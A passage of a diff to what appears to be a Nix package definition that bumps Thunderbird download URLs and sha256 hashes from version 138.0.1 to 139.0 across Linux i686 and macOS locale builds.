     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ro/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ro/thunderbird-139.0.tar.xz";
       locale = "ro";
       arch = "linux-i686";
-      sha256 = "d8fc232f93b38dde2bd1db9b183bfd420c992db19ab536f1eed8bbf9fec02e4f";
+      sha256 = "141ffe063241c269782dab044e7e846a47964da6f56090a76a4989e8df3aa328";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/ru/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/ru/thunderbird-139.0.tar.xz";
       locale = "ru";
       arch = "linux-i686";
-      sha256 = "ad1ae9629cb9aeced56094d3bc550633ea2105b9ca962655029c2ae3aa5a1166";
+      sha256 = "7e15e6e55347b42077bfd9c9969132bd9996922303d77a33e8378567006c4fe1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/sk/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sk/thunderbird-139.0.tar.xz";
       locale = "sk";
       arch = "linux-i686";
-      sha256 = "4e2c8cc1470ecae57ea82c16b0d738410941b1f559f0dc2e6dacc7ac85129265";
+      sha256 = "02aca9611988eaf7a953f7ea47ea2384d4363c1f9084554267aa642369b501c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/sl/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sl/thunderbird-139.0.tar.xz";
       locale = "sl";
       arch = "linux-i686";
-      sha256 = "ca1f072f1466245dc31e0f79a7d8e30dddbc0a98f49e811e9f842a8869677c4e";
+      sha256 = "e5c1aa1838e39862efa394d98d8b37f593671439ea5c9c18956bbbcf4b55f15e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/sq/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sq/thunderbird-139.0.tar.xz";
       locale = "sq";
       arch = "linux-i686";
-      sha256 = "716aa9e5d31d3108511ea5a48e8eacddf822a9cae75d0e866a342b219db71e91";
+      sha256 = "835dda20f6b4980ff2d52b49798fc7efb8467bbeb813c5c3f8fc30c150e432c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/sr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sr/thunderbird-139.0.tar.xz";
       locale = "sr";
       arch = "linux-i686";
-      sha256 = "be595fe3d06377e99841cb60e0bbb7914ef17b127c9723c5d6e09b18b1f8f08f";
+      sha256 = "5ea1613af7f48a427d57090b39ff14866143c9902e327e77904051360b8ba583";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/sv-SE/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/sv-SE/thunderbird-139.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-i686";
-      sha256 = "876755afdc57e49c0d482ab6bcc7794a53cac87d81122727d3a03cd65b8589bf";
+      sha256 = "4973656b71e5efd38ff9d9a3acaa68a6dc4fed01b5bdb1ec56d2a4ce1961e268";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/th/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/th/thunderbird-139.0.tar.xz";
       locale = "th";
       arch = "linux-i686";
-      sha256 = "b91110dc6eaeeca1067568e37b278fc99d58430663b7890e9d4c32ad39878059";
+      sha256 = "3305793dc3c1dab070e5b4eeefbc9c86725f9555741fbed592f92287214d5b3a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/tr/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/tr/thunderbird-139.0.tar.xz";
       locale = "tr";
       arch = "linux-i686";
-      sha256 = "05f8ed78d2395f33f6ae960319e2c7ffd1b828464b5412d7c297faa393a92920";
+      sha256 = "cf1537022ae7d25bfe943736ced0160b83678a993e58c1c0654718db70db7369";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/uk/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/uk/thunderbird-139.0.tar.xz";
       locale = "uk";
       arch = "linux-i686";
-      sha256 = "699174466c46f3b3c5b9864744ab65749c722753f328bb7eca5382d245c1dfc8";
+      sha256 = "e34a9ff79d458fc8fe1eb6b62acfcf20d3ae0746076f221d3abf1e2f33b63a45";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/uz/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/uz/thunderbird-139.0.tar.xz";
       locale = "uz";
       arch = "linux-i686";
-      sha256 = "78ca18f5d3be3a5a97b81761acca219b810c1aef0f44b60821459cb30c933bef";
+      sha256 = "0730b7af5c94498a6096f5d3106cc70c09d16e9b1ac21a3bcbd6a48d071f5c03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/vi/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/vi/thunderbird-139.0.tar.xz";
       locale = "vi";
       arch = "linux-i686";
-      sha256 = "171b681fb7ebac8d4e0ec46617c8cc8898241852ade34803590762cf6ebc2b66";
+      sha256 = "734729613deaa930e85bf595f329f81f096da247bf3c6f6203bd56e5551bb0c8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/zh-CN/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/zh-CN/thunderbird-139.0.tar.xz";
       locale = "zh-CN";
       arch = "linux-i686";
-      sha256 = "8c13808ff6a74a7208276cbb3e4894dc443b502280532eff0aee54a692945f85";
+      sha256 = "904ccfbb390e6e52bc1258e4bf11210ea8fe28f611437d12e7b92d9ae5d0fe1d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/linux-i686/zh-TW/thunderbird-138.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/linux-i686/zh-TW/thunderbird-139.0.tar.xz";
       locale = "zh-TW";
       arch = "linux-i686";
-      sha256 = "d305e97b01698f51b596a78578a72b92230a03af4b86d87aea9e361e422d95d6";
+      sha256 = "34382b81709683099227e2654edcd7cd836a998dd36342f2e37ee07bd1fc29e0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/af/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/af/Thunderbird%20139.0.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "f39e2dcbaf48ed142a7ce075a6a12dd4b58942e56aa5023d3e62763ec46c5701";
+      sha256 = "8839a216be481b6430cc42d88e49d4a6d8eefb400599493bf41ed4724ce041c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ar/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ar/Thunderbird%20139.0.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "75d67a02c58f580f8b49a7979d40fcd7c4e82f431dd51d31a3c08dc062b54d46";
+      sha256 = "62598cb9fa7396d4288e9f3f41e6b24b439d7fe2ba02f05b3c470f53f29099f9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ast/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ast/Thunderbird%20139.0.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "4bfac15cea5864b3d1d7f4fb2caa26ae5a8244f17f33fb7042dd9847db61e287";
+      sha256 = "9c086ae45194409c8a08ad420118c33f501f6989d0056a42df38e97934e693d7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/be/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/be/Thunderbird%20139.0.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "9a40aa547eb32c3792651f25dd101efca3d29f4bf17cefa0dbf03a505a7d5de8";
+      sha256 = "a36623cb54965e718e070453219b2e3ab019c97b22588ffcf2f02ae018aeaaf4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/bg/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/bg/Thunderbird%20139.0.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "0d546959e3f889b7c8a80d4b3a00c9d6f2f30cd1fedfc4a9f217835f6b676350";
+      sha256 = "8267b91946df77a974f1d3917beaf68b34bc949fa3cd6331b0be918ecff06906";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/br/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/br/Thunderbird%20139.0.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "363a9bf423f0f2af817fe35b2c08857570a6f09e190f6be88038fb055e3f2a22";
+      sha256 = "5e50fbdb23946562306f6c3dc90d09f00e756d28ff2da3ad8147365acbe4a39a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ca/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ca/Thunderbird%20139.0.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "1be0974f36326ff5b468afc067a399ddf7a77cfbc2ae5ab71772ac36cbfe700a";
+      sha256 = "602097919baf8f3c040801a58fc96fe84ac41f44fc340f4e0cc52d41f48366c7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/cak/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/cak/Thunderbird%20139.0.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "f34c6d9fa6ad46322e04bb5960beb391a511aa709503f7419e4012e0d4400281";
+      sha256 = "a86ae4b7906bad48cae83999eec561f48658d520d9d0f66e4fc69adfb089e532";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/cs/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/cs/Thunderbird%20139.0.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "71c850f32439bb9cb90c0f841ccfb69ffa8bacfdf42accb55c0937ec70d57577";
+      sha256 = "d0863dd356169fdd7bd39a3e074f07c734a105192d820a81f07c5c11366727a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/cy/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/cy/Thunderbird%20139.0.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "b90061e96c105503a7ee7fccb5a99cb9d62de424813ddcb7164afa2f38c66936";
+      sha256 = "c69e70b0eb95c2803696872280168f492c76fdb5f2cdc80b4cbf0be3050a2692";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/da/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/da/Thunderbird%20139.0.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "d1e07140711662c157c729b1c75a1586cf3088a397767d90757d5b723cfb99da";
+      sha256 = "3f49ef88b986f91a8fe2fde725ae69a34c716acd1d332c38b4152745681305df";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/de/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/de/Thunderbird%20139.0.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "73afe766aba05dfd6e77872c26ee7bcd53c6e3bb7a0311e16f0e43e87818b1a4";
+      sha256 = "57d2e361f7a9e71ac581ef135df1ec7e55b541b8e9a3c9a444b313f575aeeb31";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/dsb/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/dsb/Thunderbird%20139.0.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "965e443230a501f44cdb7bf13e5eec08b862e69b69a5b2ad7433e3d474a4de9a";
+      sha256 = "1edb7d0749919f203481997e779ddd892633d78596991bb3d6fb78048a6a4f97";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/el/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/el/Thunderbird%20139.0.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "24498593eaa082b1823c8a01b3acec1969df939cd32a37413185238eda6a3c17";
+      sha256 = "316344df75d62012a8ba4880691d78ba5cc812cb74f3f8e9985bef5b85f10580";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/en-CA/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/en-CA/Thunderbird%20139.0.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "691be978c0b567d905317be7db7f9ad7d1a82826ff328a546c4fe168499a7f38";
+      sha256 = "7e2f899e87268da61298eb95c3058686da3b3ec78e1d380aaa7ca7063fdc791d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/en-GB/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/en-GB/Thunderbird%20139.0.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "d0baa7c3ca51b25a281a58061417c8ff7c6ae96827d22de76cc3dd9c77446b88";
+      sha256 = "4054b05073d8667b4f57a9e4d20dfaa3562cf62f88c422bd8f5106a0a60c6619";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/en-US/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/en-US/Thunderbird%20139.0.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "382b7f07b925b38d5cc95b1187ff610219a662f3b0afc22d6450545a8aa2af74";
+      sha256 = "e86605582eaa95be9c553bae02d18ba6f6a2a1fd0f6f61139f7b63632fa9db4f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/es-AR/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/es-AR/Thunderbird%20139.0.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "647433beec652fbade598e7b17258ed57c87b74dafaecca289884a2142fe8d54";
+      sha256 = "a190e4c5694c519f59a21b26808a423ba8a68987e08927445aee8fb668316f5e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/es-ES/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/es-ES/Thunderbird%20139.0.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "7d85e011d379b9799e81eeb63d841ae48bae02c3328ff4127fc4562a1da5d880";
+      sha256 = "cad06901502a5c80284e690115b8f0b81066c766b9a0917b35b8044733a6611a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/es-MX/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/es-MX/Thunderbird%20139.0.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "c91f33456fdbdfde74130272b8c8acd0b2b2272df71b8ab61b57e6fbcefecb15";
+      sha256 = "806e8534d6c859219dbff8f86c2bb7ecb71c6d66a845187c5f78f6a966aea038";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/et/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/et/Thunderbird%20139.0.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "7e71c684e3c9dcfd659588de6c51d6d6b1ff087c94abde63f342f0118794bfbb";
+      sha256 = "8f8726bf3c85709d1d6290118743a7c7a0d5a285c89e78ce7a00a0fb0ed86bdb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/eu/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/eu/Thunderbird%20139.0.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "c701f330f3eb64c5658da3bb849971e786b8b0f27fc1a1fcde703806b2bc1856";
+      sha256 = "20292453d67b2e62f80f969150b1cbe6c6500e38e8a7e0b373e3b48401688347";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/fi/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/fi/Thunderbird%20139.0.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "76ef42834ed3547aff00b7087de5fb88dbb21e6b00a5f87d860b716037434348";
+      sha256 = "684fbdf8c215962db439b9e2f5eb5cf4d01c08712cbba5ebaff0bf2ffb560ed7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/fr/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/fr/Thunderbird%20139.0.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "fb92caede31a4c35f26d81c01cfd14a01ee287101ce9f604263925e4ac4ee7a5";
+      sha256 = "4d50fc0de08d1a2f4180164cbbdbc5d352da2af24a29c7b87b2bb458af5d9e14";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/fy-NL/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/fy-NL/Thunderbird%20139.0.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "5769a9bd17bf7962cee09d3dc21f3cdc010df37db58e2af0e3b289511cc89e24";
+      sha256 = "98315fe25cb8a15819655117a6eca5c0d2c89f97c8eca1d92520f3f78a4b488f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ga-IE/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ga-IE/Thunderbird%20139.0.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "31e31af3e14f24c7d9429fe65e9d62424a06dd8c049eee4eb6ad73973d35d17f";
+      sha256 = "365f214ea8f447a3fa4b8601568bbb59ccecb5ad6c73e811b246cd36765d5e73";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/gd/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/gd/Thunderbird%20139.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "dbba8bc55c4ca995b36bb26bb1f0de77612149726fadb27b55d9adf72b678255";
+      sha256 = "d9d0e7488f7f810b01a3f1c51cce9f5b9d47e9319d8b23517ecae307c5dfbe38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/gl/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/gl/Thunderbird%20139.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "61c7a3d6f691a30fd5015ff69ce613c8f62abc7b77ee5642a2752a0710695a5a";
+      sha256 = "9421bc28ac12e09d205dc9f28bdf49497cae24c61d88ec1fc95f69561621092f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/he/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/he/Thunderbird%20139.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "85306063c7b2362b4a60636f08ab85e661ff843b27a12eeea1769caa31917c13";
+      sha256 = "4341a6b25d6ed307d36379eaf7130a2b867382252d2dcbc950125b1bd69379ec";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/hr/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hr/Thunderbird%20139.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "ac2b4fe79344ea7dad0b9e6c9e3ca8ce2fc28bb3c2a1c5fccf26782977014e1a";
+      sha256 = "9e9033f4fd7d804c345f7044fcfdd0aa1438815ecde88074d48e4288d13d396b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/hsb/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hsb/Thunderbird%20139.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "bd53027d99a34202a4215f4be4b70e81be403274c33a4972de7723e6010201f3";
+      sha256 = "97f398522af49fd23446be9d0fc4061748e13bdf97aca37250ee07c5656e8cf0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/hu/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hu/Thunderbird%20139.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "d791c97ae4784143943dfa670e63d8697ec6fc9f73b5d7dc98a09a39a6fa6d8f";
+      sha256 = "67b37f3bb9e7817328ea66c27e82f81ee28bab87b4930999e14c83af2e5aebb1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/hy-AM/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/hy-AM/Thunderbird%20139.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "3e4c3b299ba79e3604bf39a02a2182f7ac345ed092a3ec196b75ac726c227c3a";
+      sha256 = "d4d8aa5623ebe32ebcb43b8e056804c70097667c06577234448f1fb8a32a84d6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/id/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/id/Thunderbird%20139.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "160667120ad1ec4061b96b9cbda02705eabeed5de7591fc7a487da04863e3b6d";
+      sha256 = "fe77069e0e155dc73f4c449ba4d3f63460bad98eeb2ff32a8634b0d00dce3b13";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/is/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/is/Thunderbird%20139.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "7d89cad5ae165947e8cd130b264b2a19d716916bffbab65c63fd93266e65a4ef";
+      sha256 = "b6ff29d44ff6a4d4816d64844c53f8472072b1533caf9e66ec20e22163ac421e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/it/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/it/Thunderbird%20139.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "01ce3c4afdf7ddff923c31d30f12b9b2209dfb7dca0a4de9c3d6516f807ed72e";
+      sha256 = "c1301f006607a969bd305f8a690a1bf9264330aa860001ca407f1f5ad225de9f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ja-JP-mac/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ja-JP-mac/Thunderbird%20139.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "14cbfcd0513da0c5366f18b7d349dd3b7381c4a2a2211b5ce01de5be7602d595";
+      sha256 = "ef7e02cee6d6864082b8b9d9843ed8ba73d822a14915b8f7da725737ad050397";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ka/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ka/Thunderbird%20139.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "a33e4cae7078fb524554daae9aa0bc2c4b9eac22ab27d053de8536c74a0d6c75";
+      sha256 = "d3308e8b30f91c271f4489dc11ed9ca9f91d3078b1b9e687b51993f4d31ce294";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/kab/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/kab/Thunderbird%20139.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "f24949dc16d79f0292ad2b4bd59b8cdcb7ebbf8dafb32b6bf114427382723dd7";
+      sha256 = "724297f7684512bc32e85c76852a5b931c63eacf55ab87749850c604df85f8c3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/kk/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/kk/Thunderbird%20139.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "1bcd911e3b3d9bb3d07b007cbd23796c1d7a4c3b535c4a294479c8b71d7ae11f";
+      sha256 = "2cd7799c01adb972e7b8eb3813751d43825067c2cffa786cfc37c3ca0107d7d6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ko/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ko/Thunderbird%20139.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "6b6a4a11ac0bfa7ec20e192766987d43ba592215decbe8dd54a3b0c3102259ab";
+      sha256 = "dcd9e64c281f4d3baeafcd5b750c6d013012e6db5330f086e8e1f35ff16732f0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/lt/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/lt/Thunderbird%20139.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "7edd65e5372214eaf1ed21872bca57973af14c6c6b7d5c83fd690045e30f42f4";
+      sha256 = "00b38e4796be3ec59003add60c8a3cbe19e0263422327ed0e759b3ce4b4576bb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/lv/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/lv/Thunderbird%20139.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "3e00b0e95f0be4f969bfc089005313baea44511feec992ccbb07ddbb6901dba7";
+      sha256 = "dbec5169ea98ec7e859ebf0688eae3361a0bbb83aeb39c8a73ed4e30ce79bc42";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/ms/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/ms/Thunderbird%20139.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "7e5df9e3fe8cd1e94fe5eb83c54a7efc725b45c5dcaa78744b8631f55f60620e";
+      sha256 = "718e972521281fb9a5531d4532ada890aa9f1d79a2dc4b7f44c82ea687ef8098";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/nb-NO/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/nb-NO/Thunderbird%20139.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "860227e0b5603e42bf37a6324e4e787aa29ff3fdf593ce4da5fa854399a1552d";
+      sha256 = "505e9dc656d9f96162a645aa974a02088a54e0b6bcf781ae8044f06b2b13846b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/nl/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/nl/Thunderbird%20139.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "c5732ec80cb3a5c1f4be37efdbb0e5877fb1905c8c61f6a78deb11129aaeab64";
+      sha256 = "5edc8de68c6b73b271591d63bcaa262e6eddafbf1f79428c2008be62cb828746";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/138.0.1/mac/nn-NO/Thunderbird%20138.0.1.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0/mac/nn-NO/Thunderbird%20139.0.dmg";
